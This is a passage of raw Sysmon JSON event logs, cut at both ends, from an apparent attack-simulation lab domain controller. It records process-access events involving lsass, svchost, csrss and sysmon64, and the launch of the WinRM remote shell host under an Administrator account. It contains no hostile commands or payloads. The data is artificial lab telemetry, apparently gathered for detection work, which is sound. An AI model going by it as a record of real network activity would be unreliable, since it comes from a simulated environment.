11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4805,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.102\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.102","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4806,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.102\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.102","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4807,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.112\r\nProcessGuid: {90617006-415E-5F2D-0000-00105C580700}\r\nProcessId: 4180\r\nImage: C:\\Windows\\System32\\winrshost.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Host Process for WinRM's Remote Shell plugin\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: winrshost.exe\r\nCommandLine: C:\\Windows\\system32\\WinrsHost.exe -Embedding\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-415E-5F2D-0000-002024580700}\r\nLogonId: 0x75824\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96\r\nParentProcessGuid: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nParentProcessId: 588\r\nParentImage: C:\\Windows\\System32\\svchost.exe\r\nParentCommandLine: C:\\Windows\\system32\\svchost.exe -k DcomLaunch","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.112","ProcessGuid":"{90617006-415E-5F2D-0000-00105C580700}","Image":"C:\\Windows\\System32\\winrshost.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Host Process for WinRM's Remote Shell plugin","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"winrshost.exe","CommandLine":"C:\\Windows\\system32\\WinrsHost.exe -Embedding","CurrentDirectory":"C:\\Windows\\system32\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-415E-5F2D-0000-002024580700}","LogonId":"0x75824","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96","ParentProcessGuid":"{90617006-3FD3-5F2D-0000-0010AF650000}","ParentProcessId":"588","ParentImage":"C:\\Windows\\System32\\svchost.exe","ParentCommandLine":"C:\\Windows\\system32\\svchost.exe -k DcomLaunch","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4808,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.102\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-415E-5F2D-0000-00105C580700}\r\nTargetProcessId: 4180\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.102","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-415E-5F2D-0000-00105C580700}","TargetProcessId":"4180","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4809,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.102\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-415E-5F2D-0000-00105C580700}\r\nTargetProcessId: 4180\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.102","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-415E-5F2D-0000-00105C580700}","TargetProcessId":"4180","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4810,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.102\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.102","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4811,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.102\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.102","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4812,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.102\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.102","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4813,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.102\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 